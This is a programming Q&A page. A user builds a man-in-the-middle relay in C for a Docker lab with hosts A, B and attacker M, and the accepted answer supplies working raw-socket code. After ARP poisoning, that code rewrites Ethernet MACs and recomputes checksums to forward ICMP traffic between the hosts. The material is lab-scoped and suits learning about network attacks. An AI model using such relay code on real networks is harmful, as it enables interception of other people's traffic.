Search code examples
carpraw-socketsman-in-the-middle

Man in the Middle attack in C with ping echo request


I'm implementing man in the middle attack in C. There are three docker containers: Host A (sender), Host B (receiver), and Host M (attacker).

My objective is to ping from Host A to Host B but sniffing the echo request from A at M and then relay the echo request from M to B.

I've already done ARP poisoning. The ICMP packets are being sent from A to M. Now I'm trying to relay the echo requests from M to B. Interesting fact is: the packets are being relayed, too, but whereas A is sending 1 echo request every 5 second (ping -i 5 IP-hostB), M is flooding the echo request to Host B. Why is that happening? I'm relaying the packet only when M is receiving a echo request. Then where from is M getting the flooded echo request to relay?

Edit The ping flooding has stopped now after using the same socket for receiving and sending packets. But now the echo requests are being relayed from M to B (initially sent from A) properly. But Host B is not sending the echo reply for those echo responses. I used tcpdump to check if B is getting the echo requests, and B is indeed getting the requests. Why then is B not sending back the reply? I thought it's because B's arp cache is being poisoned. But I did arp -a at Host B, and it knows what Host A's MAC address is.

Any idea what's causing B to not send the echo reply?

 

The relevant relaying code:

static unsigned short compute_checksum(unsigned short *addr,
                                       unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
                              const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);


int main()
{
    int saddr_size, data_size;
    struct sockaddr saddr;

    unsigned char *buffer = (unsigned char *) malloc(65536);

    int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    //setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );

    if(sock_raw < 0) {
        //Print the error with proper message
        perror("Socket Error");
        return 1;
    }

    while(1) {
        saddr_size = sizeof saddr;
        //Receive a packet
        data_size = recvfrom(sock_raw, buffer, 65536, 0,
                             &saddr, (socklen_t*)&saddr_size);
        // data_size = recv(sock_raw, buffer, 65536, 0);
        if(data_size <0 ) {
            printf("Recvfrom error , failed to get packets\n");
            return 1;
        }
        relay_icmp_packet(buffer, data_size);
    }
    close(sock_raw);
    printf("Finished");
    return 0;
}

void relay_icmp_packet(unsigned char* buffer, int size)
{
    // Host A -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:05
    // Host B -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:06
    // Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69

    int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    eth->h_dest[0] = 0X02;
    eth->h_dest[1] = 0X42;
    eth->h_dest[2] = 0X0A;
    eth->h_dest[3] = 0X09;
    eth->h_dest[4] = 0X00;
    eth->h_dest[5] = 0X06;

    struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    memset(&source, 0, sizeof(source));
    source.sin_addr.s_addr = iph->saddr;
    // printf("%s\n", inet_ntoa(source.sin_addr));

    if (!(iph->saddr == inet_addr("10.9.0.5")
        && iph->daddr== inet_addr("10.9.0.6")))
        return;

    struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
    compute_ip_checksum(iph);
    icmph->checksum = 0;
    icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));

    struct sockaddr_ll device;
    memset(&device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret = -5;
    // ret = send(sockid, eth, size, 0);
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)&device, sizeof(device));
}

/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */


Solution

  • I fixed the problem by changing the relay packet's Ethernet header. Initially I thought I only need to change the destination MAC address, since the destination IP is already correct. But in reality it was even simpler. Let me reiterate the scenario.

    There are three hosts: A, B, and M, where M is the attacker. A's and B's ARP caches are poisoned so that A thinks B's MAC address is MACM and B thinks A's MAC address is MACM.

    When A sends ICMP packet to B, it instead goes to M. M needs to change the source MAC to MACM and destination MAC to MACB, because by ARPB, B thinks MACM is actually A's MAC address.

    So, when initially I was changing only the destination MAC address, B was receiving the ICMP echo request but was discarding it because the source IP and source MAC didn't match according to B's ARP cache.

    After fixing, the following worked.

    void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
    {
        // sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
        struct ethhdr *eth = (struct ethhdr *)buffer;
        unsigned short ethdrlen = sizeof(struct ethhdr);
    
        struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
        unsigned short iphdrlen =iph->ihl*4;
    
        if (iph->protocol != 1) return;
    
        if (iph->saddr == inet_addr("10.9.0.5")
            && iph->daddr== inet_addr("10.9.0.6")) {
            eth->h_source[0] = 0X02;
            eth->h_source[1] = 0X42;
            eth->h_source[2] = 0X0A;
            eth->h_source[3] = 0X09;
            eth->h_source[4] = 0X00;
            eth->h_source[5] = 0X69;
            eth->h_dest[0] = 0X02;
            eth->h_dest[1] = 0X42;
            eth->h_dest[2] = 0X0A;
            eth->h_dest[3] = 0X09;
            eth->h_dest[4] = 0X00;
            eth->h_dest[5] = 0X06;
        } else if (iph->saddr == inet_addr("10.9.0.6")
            && iph->daddr== inet_addr("10.9.0.5")) {
            eth->h_source[0] = 0X02;
            eth->h_source[1] = 0X42;
            eth->h_source[2] = 0X0A;
            eth->h_source[3] = 0X09;
            eth->h_source[4] = 0X00;
            eth->h_source[5] = 0X69;
            eth->h_dest[0] = 0X02;
            eth->h_dest[1] = 0X42;
            eth->h_dest[2] = 0X0A;
            eth->h_dest[3] = 0X09;
            eth->h_dest[4] = 0X00;
            eth->h_dest[5] = 0X05;
        } else {
            printf("FUCK\n");
            return;
        }
    
        struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + ethdrlen);
        int header_size =  sizeof(struct ethhdr) + iphdrlen + sizeof icmph;
    
        iph->check = 0;
        iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
        icmph->checksum = 0;
        icmph->checksum = compute_checksum((uint16_t *)icmph,
                                           size - ethdrlen - iphdrlen);
    
        struct sockaddr_ll device;
        memset(&device, 0, sizeof device);
        device.sll_ifindex = if_nametoindex("eth0");
    
        int ret;
        ret = sendto(sockid, eth, size, 0,
                     (const struct sockaddr *)&device, sizeof(device));
    
        if (ret > 0) {
            printf("[%d] ICMP packet relayed to ", ret);
            PRINT_MAC_ADDRESS(stdout, eth->h_dest);
        }
    
        // close(sockid);
    }